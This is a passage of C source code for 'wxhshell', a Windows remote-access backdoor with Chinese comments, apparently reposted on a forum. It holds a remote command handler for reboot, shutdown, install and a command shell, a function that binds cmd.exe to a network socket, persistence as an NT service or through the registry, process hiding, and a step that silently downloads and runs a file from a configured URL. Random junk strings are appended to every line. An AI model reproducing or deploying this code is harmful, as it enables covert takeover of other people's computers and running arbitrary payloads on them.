  case '?': { nZe2bai  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bD[W`yW0  
    break; s^F6sXhyPi  
  } W'w;cy:H  
  // 安装 1w}%>e-S  
  case 'i': { 5q<AMg  
    if(Install()) Lu!o!>b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y.&nxT95=  
    else aMQfg51W:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t<5 $85Y~  
    break; hnag <=  
    } LIYj__4=|  
  // 卸载 r9<OB`)3+  
  case 'r': { 45e-A{G~  
    if(Uninstall()) n}(/>?/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (055>D6  
    else <&:OSd:%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zq7Y('=`t@  
    break; };"-6e/9  
    } -J8&!S8X  
  // 显示 wxhshell 所在路径 !t/I j~o  
  case 'p': { e ?FjN 9  
    char svExeFile[MAX_PATH]; Mz,G;x}  
    strcpy(svExeFile,"\n\r"); H1iewsfzH  
      strcat(svExeFile,ExeFile); >5Y%4++(  
        send(wsh,svExeFile,strlen(svExeFile),0);  ,83%18b  
    break; ?5(Cwy ?  
    } z+IBy+  
  // 重启 w.w(*5[  
  case 'b': { YCr:nYm<f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7 lc -  
    if(Boot(REBOOT)) g,Z8I;A^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Tt\6-  
    else { CX/ _\0 G4  
    closesocket(wsh); d>[=]  
    ExitThread(0); H/"$#8-/  
    } Q-<N)K$F(4  
    break; xwK{}==U  
    } 3Au3>q,  
  // 关机 SPfz/ q{  
  case 'd': { W]b>k lp;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C;]}Ht:~I  
    if(Boot(SHUTDOWN)) lezX-5Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnL$v2e6q  
    else { r'!L}^n  
    closesocket(wsh); h= tzG KI  
    ExitThread(0); Z4 y9d?g%b  
    } D@@J7  
    break; SVKjhZK  
    } bzYj`t?  
  // 获取shell LY Y3*d  
  case 's': { 9yla &XTD  
    CmdShell(wsh); % NSb8@  
    closesocket(wsh); DJ)Q,l*|N9  
    ExitThread(0); MvV\?Lzj   
    break; _Q XC5i  
  } h"R{{y f2  
  // 退出 cQM_kV??!  
  case 'x': { E6+c{41B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wD+4#=/j  
    CloseIt(wsh); &c[.&L,w4  
    break; k# -u!G  
    } ndW]S7  
  // 离开 _{$eOwB  
  case 'q': { t!^ j0q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "u29| OY  
    closesocket(wsh); pjG/`  
    WSACleanup(); (%p@G5GU  
    exit(1); f_\,H|zco)  
    break; yhTC?sf<  
        } t5t!-w\M$+  
  } FFC"rG  
  } ~)ut"4  
VINb9W}G[  
  // 提示信息 {\:"OcP #  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |.]sL0; 4Z  
} 3i\<#{  
  } mO#62e4C  
_#;UXAi  
  return; M/<>'%sj  
} Zw@=WW[Q`p  
H5MO3DJ  
// shell模块句柄 z[vHMJ 0  
int CmdShell(SOCKET sock) +"P!es\q  
{ EhWYFQ  
STARTUPINFO si; pAdx 6  
ZeroMemory(&si,sizeof(si)); qXF#qS-28  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V.\12P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /O`<?aP%  
PROCESS_INFORMATION ProcessInfo; Mg pjC`  
char cmdline[]="cmd"; GN0s`'#"3%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3.0t5F<B  
  return 0; pUV4oyGV   
} Uw!N;QsC  
rJz`v/:|P  
// 自身启动模式 kH4xP3. i  
int StartFromService(void) W=-:<3XL  
{ WR :I2-1  
typedef struct  =&8Cg  
{ "+dByaY  
  DWORD ExitStatus; - K%hug  
  DWORD PebBaseAddress; 1iLrKA  
  DWORD AffinityMask; e-E0Bp  
  DWORD BasePriority; 6j 2mr6o  
  ULONG UniqueProcessId; J ?y0R X  
  ULONG InheritedFromUniqueProcessId; Xzn}gH]  
}   PROCESS_BASIC_INFORMATION; 8u|F %Sg  
0(o{V:l%Z|  
PROCNTQSIP NtQueryInformationProcess; Z@1vJH6IbA  
PS:"mP7n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eVRPjVzQ'Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9_Ws8nE  
wk9qyv<  
  HANDLE             hProcess; BmhIKXE{*  
  PROCESS_BASIC_INFORMATION pbi; YP4lizs.  
OyG#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fk5$z0/  
  if(NULL == hInst ) return 0; ~~iFs ,9  
pu OAt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8~!9bg6C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ` zoC++hx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z%4w{T+[  
BJ*8mKi h  
  if (!NtQueryInformationProcess) return 0; G2 {R5F !  
>{1 i8 b@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SoJ=[5W  
  if(!hProcess) return 0; (8Inf_59  
&@U)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k1_" }B5  
N+nv#]{  
  CloseHandle(hProcess); VRQD  
hVGK%HCz&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c,L{Qv"n{  
if(hProcess==NULL) return 0; Ljs4^vy <J  
v!WkPvU  
HMODULE hMod; _C4N6YdU  
char procName[255]; |!6<L_31%  
unsigned long cbNeeded; .~AQxsGH  
QLLMSa+! \  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T*1`MIkv  
(k$KUP  
  CloseHandle(hProcess); o,yZ1"  
=yCz!vc  
if(strstr(procName,"services")) return 1; // 以服务启动 ]!'}{[1}  
0\KDa$ '1k  
  return 0; // 注册表启动 v/G)E_  
} BenUyv1d  
o |"iW" +  
// 主模块 2t}^8  
int StartWxhshell(LPSTR lpCmdLine) P.Gmj;  
{ g;-6Hg'  
  SOCKET wsl; (Kg( 6E,  
BOOL val=TRUE; 6|10OTVu`  
  int port=0; c[zGWF#1>  
  struct sockaddr_in door; w|[{xn^R  
LUKt!I0l  
  if(wscfg.ws_autoins) Install(); L43]0k  
`)n/J+g  
port=atoi(lpCmdLine); p%#=OtkC  
8S#TOeQ  
if(port<=0) port=wscfg.ws_port; S%IhpTSe6  
VlFhfOR6t  
  WSADATA data; s$ZKd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; shuoEeoo  
r"$~Gg.%(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hOM#j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VK[`e[.C  
  door.sin_family = AF_INET; ,cFBLj(@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  YF$nL(  
  door.sin_port = htons(port); zL=PxFw0  
,/Al'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s<'WTgy1i  
closesocket(wsl); W%P$$x5&  
return 1; t2hI^J0y  
} <d~IdK'\x  
F x3X  
  if(listen(wsl,2) == INVALID_SOCKET) { 7OdJ&Gzd  
closesocket(wsl); /;;$9O9  
return 1; EY}*}-3  
} jn._4TQ*}  
  Wxhshell(wsl); d Z P;f^^  
  WSACleanup(); FB }8  
8Y P7'Fz  
return 0; c +N\uG4  
!n`Y^  
} xY@<<  
J|@kF!6  
// 以NT服务方式启动 ftRzgW);  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s0/y> ok  
{ 2B[I- K s  
DWORD   status = 0; 'tJ@+(tqw  
  DWORD   specificError = 0xfffffff; vC%Hc/&.}  
I;UCKoFT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I'c rH/z9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H]PEE!C;xC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4O '%$6KR(  
  serviceStatus.dwWin32ExitCode     = 0; fp2uk3Bm[  
  serviceStatus.dwServiceSpecificExitCode = 0; WVdF/H  
  serviceStatus.dwCheckPoint       = 0; @XN*H- |  
  serviceStatus.dwWaitHint       = 0; (dHil#l  
i'MpS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k*|WI$  
  if (hServiceStatusHandle==0) return; xF8 8'p'  
Ry`Y +  
status = GetLastError(); 6fV;V:1{  
  if (status!=NO_ERROR) ij&T \):d  
{ 2yPF'Q7u_.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^ Q  
    serviceStatus.dwCheckPoint       = 0; #sb@)Q  
    serviceStatus.dwWaitHint       = 0; 6I-Qq?L[H  
    serviceStatus.dwWin32ExitCode     = status; wj-z;YCV  
    serviceStatus.dwServiceSpecificExitCode = specificError; d 6zfP1lQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G%XjDxo$I  
    return; !BEl6h  
  } <]'1YDA  
u69fYoB'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wq"^{  
  serviceStatus.dwCheckPoint       = 0; jPmp=qg"q  
  serviceStatus.dwWaitHint       = 0; 0/fA>%&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *x@.$=NF"  
} XpT+xv1`;  
eK =v<X  
// 处理NT服务事件,比如:启动、停止 j!/=w q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;bYLQ  
{ a=AP*adx8  
switch(fdwControl) lJ(] ;/%  
{ P|rreSv*  
case SERVICE_CONTROL_STOP: *B%ulsm  
  serviceStatus.dwWin32ExitCode = 0; \PM5B"MDZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p&W{g $D>  
  serviceStatus.dwCheckPoint   = 0; 0'O6-1Li  
  serviceStatus.dwWaitHint     = 0; .Gn-`  
  { * %w8bB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2'7)D}p  
  } UY/qI%#L#,  
  return; _&K>fy3t&  
case SERVICE_CONTROL_PAUSE: !H4C5wDu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [=& tN)_  
  break; r@ v&~pL  
case SERVICE_CONTROL_CONTINUE: ;C~:C^Q\H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MOIMW+n  
  break; 1aS66TS3  
case SERVICE_CONTROL_INTERROGATE: %^}|HG*i??  
  break; ^-dhz88wV  
}; '=cAdja  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !xz{X?  
} /(?,S{]  
u$nYddak  
// 标准应用程序主函数 ^ SW!S_&Z2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +a74] H"  
{ hDD]Kc;G^1  
O[\obi"}  
// 获取操作系统版本 ;]Ko7M(4  
OsIsNt=GetOsVer(); ;\rKkH"K8n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {:ZsUnzm  
OJXK]dZ  
  // 从命令行安装 ySNXjH Q=  
  if(strpbrk(lpCmdLine,"iI")) Install(); cp L'  
]Aa.=  
  // 下载执行文件 w ?"s6L3  
if(wscfg.ws_downexe) { <gjA(xT5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v|GDPq  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2_ CJV  
} y9X1X{  
?vV&tqnx%  
if(!OsIsNt) { ^8{:RiN6e~  
// 如果时win9x,隐藏进程并且设置为注册表启动 i~uoK7o|G  
HideProc(); ]=jpqxlx  
StartWxhshell(lpCmdLine); OG{vap)  
} DW0UcLO  
else DRmN+2I  
  if(StartFromService()) }D*5PV%d  
  // 以服务方式启动 iU"{8K,  
  StartServiceCtrlDispatcher(DispatchTable); %-#rzeaW  
else f]DO2 r  
  // 普通方式启动 TUM7(-,9  
  StartWxhshell(lpCmdLine); ZGC*BP/  
>NAg*1  
return 0; +JPHQx'W  
}
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只看该作者 1 发表于: 2006-10-10
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